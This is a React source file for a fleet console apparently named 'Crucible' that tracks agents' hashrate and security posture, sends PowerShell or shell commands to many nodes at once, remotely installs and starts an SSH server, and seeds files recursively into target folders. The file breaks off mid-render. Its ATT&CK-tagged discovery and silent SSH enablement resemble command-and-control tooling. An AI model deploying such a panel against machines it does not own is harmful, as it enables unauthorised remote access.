import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import { formatHashrate } from '../help/fleetFilters';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import './CruciblePage.css';

// ── Types ──────────────────────────────────────────────────────────────────

type ShellType = 'powershell' | 'exec' | 'sh';

interface TermLine {
  id: string;
  agentId: string;
  agentName: string;
  isCmd: boolean;
  text: string;
  ts: Date;
  success?: boolean;
  // Whether this agent was in the active selection when the command was dispatched
  targeted?: boolean;
  // Structured data for rich terminal renderers
  richData?: RichTermData;
}

// ── Rich terminal data types ────────────────────────────────────────────────

interface RichListenPort {
  port: number;
  addr: string;
  proto: string;
  process?: string;
  pid?: number;
}

interface RichListenPorts {
  type: 'listen_ports';
  ports: RichListenPort[];
  count: number;
}

interface RichPatchStatus {
  type: 'patch_status';
  pending_updates?: number;
  last_patch?: string;
  last_patch_days?: number;
  reboot_pending?: boolean;
}

interface RichPostureSummary {
  type: 'posture';
  posture_score?: number;
  defender_enabled?: boolean;
  defender_rtp?: boolean;
  av_products?: string[];
  firewall_domain?: boolean;
  firewall_private?: boolean;
  firewall_public?: boolean;
  ssh_listening?: boolean;
  agent_elevated?: boolean;
  last_patch_days?: number;
  pending_updates?: number;
  reboot_pending?: boolean;
  services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}

type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;

// ── Helpers ────────────────────────────────────────────────────────────────

const AGENT_COLORS = [
  '#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
  '#ffb020', '#ff6b35', '#00d4aa', '#f72585',
  '#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];

export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
  if (groupColor) return groupColor;
  const idx = allIds.indexOf(agentId);
  return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
}

export function sshBadge(agent: Agent) {
  if (agent.ssh_available === true)  return { label: 'SSH ON',  cls: 'ssh-on' };
  if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
  return { label: 'SSH ?', cls: 'ssh-unk' };
}

export function postureBadge(score?: number) {
  if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
  if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
  if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
  return { label: `POSTURE ${score}`, cls: 'posture-bad' };
}

export function patchLabel(days?: number) {
  if (days === undefined) return null;
  return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
}

export function portsBadge(count?: number): { label: string; cls: string } | null {
  if (count === undefined) return null;
  return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
}

export function postureTooltip(agent: Agent): string {
  const lines: string[] = [];
  const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
  const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';

  lines.push(`Defender: ${yn(agent.defender_enabled)}  RTP: ${yn(agent.defender_rtp)}`);
  if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
  lines.push(`FW  Domain:${yn(agent.firewall_domain)}  Private:${yn(agent.firewall_private)}  Public:${yn(agent.firewall_public)}`);
  lines.push(`SSH: ${yn(agent.ssh_available)}  Elevated: ${yn(agent.agent_elevated)}`);
  if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count}  (run listen_ports for full list)`);
  lines.push('──────────────────────');

  // Patch exposure
  if (agent.last_patch) lines.push(`Last patch:  ${agent.last_patch}  (${na(agent.last_patch_days)}d ago)`);
  else if (agent.last_patch_days !== undefined) lines.push(`Last patch:  ${agent.last_patch_days}d ago`);
  if (agent.pending_updates !== undefined) {
    const u = agent.pending_updates;
    lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`);
  }
  if (agent.reboot_pending !== undefined) {
    lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
  }
  // DNS config
  if (agent.dns_servers?.length) {
    lines.push('──────────────────────');
    lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
    if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
    if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
  }

  // Resource pressure
  const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
  if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
    lines.push('──────────────────────');
    if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? '  THROTTLED' : ''}`);
    if (agent.disk_free_pct !== undefined) {
      lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free  (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`);
    }
    if (agent.cpu_freq_mhz && agent.cpu_max_mhz) {
      lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`);
    }
    if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`);
  }

  if (agent.services?.length) {
    lines.push('──────────────────────');
    lines.push('Services (T1007):');
    for (const svc of agent.services) {
      const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—';
      const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : '';
      lines.push(`  ${icon} ${svc.display_name ?? svc.name}${st}`);
    }
  }
  return lines.join('\n');
}

export function pendingBadge(agent: Agent): { label: string; cls: string } | null {
  const u = agent.pending_updates;
  if (u === undefined) return null;
  if (u < 0)  return { label: 'UPD ?',   cls: 'upd-unk' };
  if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
  if (u <= 5)  return { label: `${u} UPD`,   cls: 'upd-warn' };
  return             { label: `${u} UPD`,   cls: 'upd-bad' };
}

function rebootBadge(agent: Agent): { label: string; cls: string } | null {
  if (agent.reboot_pending === undefined) return null;
  if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
  return null;
}

// ── Resource pressure badges ───────────────────────────────────────────────

export function thermalBadge(agent: Agent): { label: string; cls: string } | null {
  const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
  if (t === undefined) return null;
  if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
  if (t > 65) return { label: `${t}°`, cls: 'therm-warm' };
  return null; // cool enough — no badge clutter
}

function diskBadge(agent: Agent): { label: string; cls: string } | null {
  const pct = agent.disk_free_pct;
  if (pct === undefined) return null;
  if (pct < 5)  return { label: `DISK ${pct}%`,  cls: 'disk-crit' };
  if (pct < 15) return { label: `DISK ${pct}%`,  cls: 'disk-warn' };
  return null; // plenty of space — no badge
}

function throttleBadge(agent: Agent): { label: string; cls: string } | null {
  if (!agent.cpu_throttle) return null;
  const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz
    ? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100)
    : null;
  const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL';
  return { label, cls: 'therm-warm' };
}

// ── DNS helpers (T1016) ────────────────────────────────────────────────────

function dnsBadge(agent: Agent): { label: string; cls: string } | null {
  if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
  return null;
}

// ── Service helpers (T1007) ────────────────────────────────────────────────

// Human-readable label for well-known service names
const SVC_LABELS: Record<string, string> = {
  sshd: 'SSH',
  ssh: 'SSH',
  'openssh ssh server': 'SSH',
  cloudflared: 'CF Tunnel',
  wuauserv: 'WU',
  windefend: 'Defender',
  ufw: 'UFW',
  fail2ban: 'Fail2Ban',
};

function svcLabel(svc: AgentService): string {
  return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name;
}

function svcDot(status: string): string {
  if (status === 'running') return '●';
  if (status === 'stopped') return '○';
  return '—';
}

function svcDotClass(status: string): string {
  if (status === 'running') return 'svc-run';
  if (status === 'stopped') return 'svc-stop';
  return 'svc-unk';
}

// Only surface services that are interesting to show (skip self-service clutter)
const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']);
function importantServices(svcs: AgentService[]): AgentService[] {
  return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
}

function platformIcon(platform?: string): string {
  if (!platform) return '⬡';
  const p = platform.toLowerCase();
  if (p.includes('win')) return '⊞';
  if (p.includes('linux')) return '🐧';
  if (p.includes('darwin')) return '';
  return '⬡';
}

let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }

// ── Wake SSH commands ──────────────────────────────────────────────────────

const WAKE_SSH_PS = `
$ErrorActionPreference='SilentlyContinue'
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
Set-Service -Name sshd -StartupType Automatic
Start-Service sshd
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
"SSH_WAKE_OK ip=$ip port=22"
`.trim();

const PROBE_SSH_PS = `
$s=Get-Service sshd -ErrorAction SilentlyContinue
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
`.trim();

const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;

// ── Component ──────────────────────────────────────────────────────────────

export default function CruciblePage() {
  const { agents, commandResults } = useWebSocket();
  const { setCrucibleFocus } = useMatrixRain();

  // Selection
  const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
  const [showGroupModal, setShowGroupModal] = useState(false);
  const { groups, addGroup, removeGroup } = useFleetGroups();

  // Terminal
  const [termLines, setTermLines] = useState<TermLine[]>([]);
  const [cmd, setCmd] = useState('');
  const [shellType, setShellType] = useState<ShellType>('powershell');
  const [busy, setBusy] = useState(false);
  const termEndRef = useRef<HTMLDivElement>(null);
  const cmdRef = useRef<HTMLInputElement>(null);
  const lastSeqRef = useRef(0);

  // Command history
  const [cmdHistory, setCmdHistory] = useState<string[]>([]);
  const [histIdx, setHistIdx] = useState(-1);

  // SUPP Seek Mode
  const [seekPath, setSeekPath] = useState('');
  const [seekStem, setSeekStem] = useState('4K Enhance');
  const [seekWin, setSeekWin] = useState(true);
  const [seekMac, setSeekMac] = useState(true);

  // SSH / posture overrides (from on-demand probes)
  const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
  const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});

  const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
  const selectedAgents = useMemo(
    () => agents.filter((a) => selectedIds.has(a.id)),
    [agents, selectedIds]
  );

  const online = (a: Agent) => a.status === 'online';

  /** One online target selected — sidebar matrix switches to gold forge-style rain. */
  const crucibleTargetReady =
    selectedAgents.filter(online).length === 1 && selectedIds.size === 1;

  useEffect(() => {
    setCrucibleFocus(crucibleTargetReady);
    return () => setCrucibleFocus(false);
  }, [crucibleTargetReady, setCrucibleFocus]);

  // Prune selectedIds when agents are removed (e.g. after roster delete).
  useEffect(() => {
    const liveIds = new Set(agents.map((a) => a.id));
    setSelectedIds((prev) => {
      const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
      return pruned.size === prev.size ? prev : pruned;
    });
  }, [agents]);

  // ── Auto-scroll terminal ───────────────────────────────────────────────

  useEffect(() => {
    termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  }, [termLines]);

  // ── Process incoming command_result messages ───────────────────────────

  useEffect(() => {
    if (!commandResults || commandResults.length === 0) return;
    const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
    if (newEntries.length === 0) return;
    lastSeqRef.current = newEntries[newEntries.length - 1]._seq;

    const lines: TermLine[] = [];
    for (const r of newEntries) {
      const aid = r.agent_id;
      if (!aid) continue;

      const msg = r.message ?? '';

      // ── SSH badge updates ───────────────────────────────────────────────
      if (msg.includes('SSH_PROBE:ONLINE')) {
        setSshOverride((prev) => ({ ...prev, [aid]: true }));
      } else if (msg.includes('SSH_PROBE:OFFLINE')) {
        setSshOverride((prev) => ({ ...prev, [aid]: false }));
      }

      // ── Parse structured JSON for known actions ────────────────────────
      let richData: RichTermData | undefined;
      const jsonStart = msg.indexOf('{');

      if (jsonStart >= 0) {
        try {
          const parsed = JSON.parse(msg.slice(jsonStart));

          if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) {
            richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
          } else if (r.action === 'patch_status') {
            richData = { type: 'patch_status', ...parsed };
          } else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
            richData = { type: 'posture', ...parsed };
            // Update badge state
            setPostureOverride((prev) => ({
              ...prev,
              [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
            }));
            if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
            if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
          } else {
            // Generic JSON with posture fields (legacy path)
            if (typeof parsed.posture_score === 'number') {
              setPostureOverride((prev) => ({
                ...prev,
                [aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
              }));
            }
            if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
            if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
          }
        } catch { /* malformed JSON — fall through to plain text */ }
      }

      const agent = agents.find((a) => a.id === aid);
      const name = agent?.name ?? aid.slice(0, 8);

      const targeted = selectedIds.size === 0 || selectedIds.has(aid);
      if (richData) {
        lines.push({
          id: mkId(), agentId: aid, agentName: name,
          isCmd: false, text: '', ts: new Date(),
          success: r.success, richData, targeted,
        });
      } else {
        const msgLines = msg.split('\n').filter(Boolean);
        for (const line of msgLines) {
          lines.push({
            id: mkId(), agentId: aid, agentName: name,
            isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
          });
        }
      }
    }
    if (lines.length > 0) {
      setTermLines((prev) => [...prev, ...lines].slice(-2000));
    }
  // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [commandResults]);

  // ── Selection helpers ──────────────────────────────────────────────────

  const toggle = (id: string) =>
    setSelectedIds((prev) => {
      const next = new Set(prev);
      if (next.has(id)) next.delete(id); else next.add(id);
      return next;
    });

  const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
  const clearSel = () => setSelectedIds(new Set());

  const onlineAgentIds = useMemo(
    () => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
    [agents]
  );

  const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));

  // ── Dispatch command ───────────────────────────────────────────────────

  const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
    const tgts = targets ?? selectedAgents.filter(online);
    if (tgts.length === 0 || !command.trim()) return;

    setBusy(true);
    // Echo command to terminal
    const echoLines: TermLine[] = tgts.map((a) => ({
      id: mkId(),
      agentId: a.id,
      agentName: a.name,
      isCmd: true,
      text: command,
      ts: new Date(),
    }));
    setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
    setCmdHistory((h) => [command, ...h].slice(0, 50));
    setHistIdx(-1);

    const action = shell === 'powershell' ? 'powershell'
      : shell === 'sh' ? 'exec'
      : 'exec';

    await Promise.all(
      tgts.map(async (a) => {
        try {
          const res = await api.sendAgentCommand(a.id, action, { command });
          if (res.success === false) {
            setTermLines((prev) => [
              ...prev,
              {
                id: mkId(),
                agentId: a.id,
                agentName: a.name,
                isCmd: false,
                text: `[ERROR] ${res.error ?? 'command rejected'}`,
                ts: new Date(),
                success: false,
              },
            ]);
          }
        } catch (err) {
          setTermLines((prev) => [
            ...prev,
            {
              id: mkId(),
              agentId: a.id,
              agentName: a.name,
              isCmd: false,
              text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
              ts: new Date(),
              success: false,
            },
          ]);
        }
      })
    );
    setBusy(false);
    cmdRef.current?.focus();
  }, [selectedAgents]);

  const sendCmd = () => {
    dispatch(cmd, shellType);
    setCmd('');
  };

  const probeSSH = (targets?: Agent[]) => {
    const tgts = targets ?? selectedAgents.filter(online);
    for (const a of tgts) {
      const isWin = a.platform?.toLowerCase().includes('win') ?? true;
      const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
      const shell: ShellType = isWin ? 'powershell' : 'sh';
      dispatch(probeCmd, shell, [a]);
    }
  };

  const wakeSSH = (targets?: Agent[]) => {
    const tgts = targets ?? selectedAgents.filter(online);
    for (const a of tgts) {
      const isWin = a.platform?.toLowerCase().includes('win') ?? true;
      if (isWin) {
        dispatch(WAKE_SSH_PS, 'powershell', [a]);
      } else {
        dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
      }
    }
  };

  const probePosture = (targets?: Agent[]) => {
    const tgts = targets ?? selectedAgents.filter(online);
    if (tgts.length === 0) { alert('No online agents selected.'); return; }
    Promise.all(
      tgts.map((a) =>
        api.sendAgentCommand(a.id, 'posture').catch((err) => {
          setTermLines((prev) => [
            ...prev,
            {
              id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
              text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
              ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
            },
          ]);
        })
      )
    );
  };

  // Fires posture + listen_ports + patch_status in parallel.
  // When agents are selected, targets only selection. Otherwise targets all online.
  const scanSelected = (targets?: Agent[]) => {
    const tgts = targets ?? (selectedAgents.filter(online).length > 0
      ? selectedAgents.filter(online)
      : agents.filter(online));
    if (tgts.length === 0) { alert('No online agents available.'); return; }
    const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
    for (const a of tgts) {
      for (const cmd of cmds) {
        api.sendAgentCommand(a.id, cmd).catch((err) => {
          setTermLines((prev) => [
            ...prev,
            {
              id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
              text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
              ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
            },
          ]);
        });
      }
    }
  };

  // SUPP Seek — launch recursive batch file-seeding on selected agents.
  const launchSeek = () => {
    const tgts = selectedAgents.filter(online);
    if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
    if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
    const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
    for (const a of tgts) {
      api.sendAgentCommand(a.id, 'supp_seek', {
        path: seekPath.trim(),
        command: flag,
        data: seekStem.trim() || '4K Enhance',
      }).catch((err) => {
        setTermLines((prev) => [
          ...prev,
          {
            id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
            text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
            ts: new Date(), success: false, targeted: true,
          },
        ]);
      });
    }
    setTermLines((prev) => [
      ...prev,
      {
        id: mkId(), agentId: 'local', agentName: 'YOU',
        isCmd: true,
        text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
        ts: new Date(),
      },
    ]);
  };

  // Focused agent — when exactly one is selected show its details prominently.
  const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;

  const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
    if (e.key === 'Enter') { sendCmd(); return; }
    if (e.key === 'ArrowUp') {
      e.preventDefault();
      const next = Math.min(histIdx + 1, cmdHistory.length - 1);
      setHistIdx(next);
      setCmd(cmdHistory[next] ?? '');
    }
    if (e.key === 'ArrowDown') {
      e.preventDefault();
      const next = Math.max(histIdx - 1, -1);
      setHistIdx(next);
      setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
    }
  };

  // ── Effective SSH status ───────────────────────────────────────────────

  const sshStatus = (a: Agent) => {
    const override = sshOverride[a.id];
    if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
    return sshBadge({ ...a });
  };

  const postureStatus = (a: Agent) => {
    const o = postureOverride[a.id];
    const score = o?.score ?? a.posture_score;
    const patchDays = o?.patchDays ?? a.last_patch_days;
    return {
      ...postureBadge(score),
      patch: patchLabel(patchDays),
      ports: portsBadge(a.listen_port_count),
    };
  };

  // ── Rich terminal renderers ────────────────────────────────────────────

  const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
    <div className="rich-block rich-ports">
      <div className="rich-header">
        <span className="rich-label">LISTEN PORTS</span>
        <span className="rich-count">{d.count} listener{d.count !== 1 ? 's' : ''}</span>
      </div>
      {d.ports.length === 0 ? (
        <div className="rich-empty">No listeners found</div>
      ) : (
        <table className="rich-table">
          <thead>
            <tr>
              <th>PORT</th>
              <th>ADDR</th>
              <th>PROTO</th>
              <th>PROCESS</th>
              <th>PID</th>
            </tr>
          </thead>
          <tbody>
            {d.ports.map((p, i) => (
              <tr key={i} className={p.port === 22 ? 'rich-row-ssh' : p.port < 1024 ? 'rich-row-sys' : ''}>
                <td className="rich-port">{p.port}</td>
                <td className="rich-addr">{p.addr || '*'}</td>
                <td className="rich-proto">{p.proto.toUpperCase()}</td>
                <td className="rich-proc">{p.process || '—'}</td>
                <td className="rich-pid">{p.pid ?? '—'}</td>
              </tr>
            ))}
          </tbody>
        </table>
      )}
    </div>
  );

  const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
    <div className="rich-block rich-patch">
      <div className="rich-header">
        <span className="rich-label">PATCH STATUS</span>
        {d.reboot_pending && <span className="rich-tag rich-tag-warn blink-slow">REBOOT REQUIRED</span>}
      </div>
      <div className="rich-kv-row">
        <span className="rich-key">Pending Updates</span>
        <span className={`rich-val ${(d.pending_updates ?? 0) > 0 ? 'rich-val-warn' : 'rich-val-ok'}`}>
          {d.pending_updates ?? 0}
        </span>
      </div>
      <div className="rich-kv-row">
        <span className="rich-key">Last Patch</span>
        <span className={`rich-val ${(d.last_patch_days ?? 0) > 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
          {d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
        </span>
      </div>
      <div className="rich-kv-row">
        <span className="rich-key">Reboot Pending</span>
        <span className={`rich-val ${d.reboot_pending ? 'rich-val-warn' : 'rich-val-ok'}`}>
          {d.reboot_pending ? 'YES' : 'NO'}
        </span>
      </div>
    </div>
  );

  const fwIcon = (on?: boolean) => on ? <span className="rich-val-ok">ON</span> : <span className="rich-val-bad">OFF</span>;

  const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
    <div className="rich-block rich-posture">
      <div className="rich-header">
        <span className="rich-label">POSTURE REPORT</span>
        {d.posture_score != null && (
          <span className={`rich-score ${d.posture_score >= 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}>
            {d.posture_score} / 100
          </span>
        )}
      </div>
      <div className="rich-posture-grid">
        <div className="rich-kv-row"><span className="rich-key">Defender</span>
          <span className={`rich-val ${d.defender_enabled ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.defender_enabled ? 'ON' : 'OFF'}</span>
        </div>
        <div className="rich-kv-row"><span className="rich-key">Real-Time Prot</span>
          <span className={`rich-val ${d.defender_rtp ? 'rich-val-ok' : 'rich-val-warn'}`}>{d.defender_rtp ? 'ON' : 'OFF'}</span>
        </div>
        <div className="rich-kv-row"><span className="rich-key">Firewall Domain/Priv/Pub</span>
          <span className="rich-val">{fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}</span>
        </div>
        <div className="rich-kv-row"><span className="rich-key">AV Products</span>
          <span className="rich-val">{d.av_products?.join(', ') || '—'}</span>
        </div>
        <div className="rich-kv-row"><span className="rich-key">SSH Listening</span>
          <span className={`rich-val ${d.ssh_listening ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.ssh_listening ? 'YES' : 'NO'}</span>
        </div>
        <div className="rich-kv-row"><span className="rich-key">Agent Elevated</span>
          <span className={`rich-val ${d.agent_elevated ? 'rich-val-warn' : 'rich-val-ok'}`}>{d.agent_elevated ? 'YES (ADMIN)' : 'no'}</span>
        </div>
        {d.last_patch_days != null && (
          <div className="rich-kv-row"><span className="rich-key">Last Patch</span>
            <span className={`rich-val ${d.last_patch_days > 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
              {d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''}
              {d.reboot_pending ? ' · REBOOT!' : ''}
            </span>
          </div>
        )}
      </div>
      {d.services && d.services.length > 0 && (
        <>
          <div className="rich-sub-label">SERVICES</div>
          <table className="rich-table">
            <thead><tr><th>SERVICE</th><th>STATUS</th><th>START</th></tr></thead>
            <tbody>
              {d.services.map((s, i) => (
                <tr key={i}>
                  <td className="rich-proc">{s.display_name || s.name}</td>
                  <td className={`rich-svc-status ${s.status === 'running' ? 'rich-val-ok' : 'rich-val-bad'}`}>{s.status.toUpperCase()}</td>
                  <td className="rich-addr">{s.start_type}</td>
                </tr>
              ))}
            </tbody>
          </table>
        </>
      )}
    </div>
  );

  const renderRichData = (d: RichTermData) => {
    if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
    if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
    if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
    return null;
  };

  // ── Render ─────────────────────────────────────────────────────────────

  return (
    <div className="page fade-in crucible-page">
      <header className="deck-hero" style={{ marginBottom: '1rem' }}>
        <div className="deck-hero-text">
          <p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
          <h1>Crucible</h1>
          <p className="page-subtitle">select nodes · group them · command them all at once</p>
        </div>
        <div className="deck-hero-status">
          <div className="crucible-sel-summary">
            <span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
              {selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
            </span>
            <span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
              {agents.filter(online).length} online / {agents.length} total
            </span>
          </div>
          <button className="button crucible-btn" onClick={selectAll}>Select Online</button>
          <button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
          {selectedIds.size > 0 && (
            <button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
              Create group…
            </button>
          )}
        </div>
      </header>

      <FleetGroupsStrip
        groups={groups}
        liveAgentIds={onlineAgentIds}
        selectedCount={selectedIds.size}
        onSelectGroup={activateGroup}
        onDeleteGroup={removeGroup}
        onCreateGroup={() => setShowGroupModal(true)}
      />

      {/* ── Node Roster ─────────────────────────────────────────────────── */}
      <NeonCard accent="cyan" className="crucible-roster-card" hud tilt3d={false}>
        <div className="crucible-section-title font-tech">
          <span className="section-ornament">◆</span> NODE ROSTER
        </div>
        {agents.length === 0 ? (
          <p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
        ) : (
          <div className="crucible-roster">
            {agents.map((a) => {
              const sel = selectedIds.has(a.id);
              const isOn = online(a);
              const ssh = sshStatus(a);
              const posture = postureStatus(a);
              const pg = primaryGroupForAgent(groups, a.id);
              const color = agentColor(a.id, allIds, pg?.color);
              return (
                <div
                  key={a.id}
                  className={`crucible-node-card ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
                  style={{
                    ...(sel ? { '--sel-color': color } : {}),
                    ...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
                  } as React.CSSProperties}
                  onClick={() => toggle(a.id)}
                >
                  <div className="crucible-node-check">
                    <span className={`cn-checkbox ${sel ? 'checked' : ''}`}
                      style={sel ? { borderColor: color, background: color + '33' } : undefined} />
                  </div>
                  <div className="crucible-node-body">
                    <div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
                      <span className="cn-platform">{platformIcon(a.platform)}</span>
                      {a.name}
                      {pg && (
                        <span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
                          {pg.name}
                        </span>
                      )}
                    </div>
                    <div className="cn-meta">
                      <span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
                      <span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
                    </div>
                    <div className="cn-ip font-tech">{a.ip || '—'}</div>
                    <div className="cn-stats">
                      <span>{a.cpu_cores}c</span>
                      <span>{formatHashrate(a.hashrate_15m)}</span>
                      <LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
                    </div>
                    <div className="cn-badges">
                      <div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
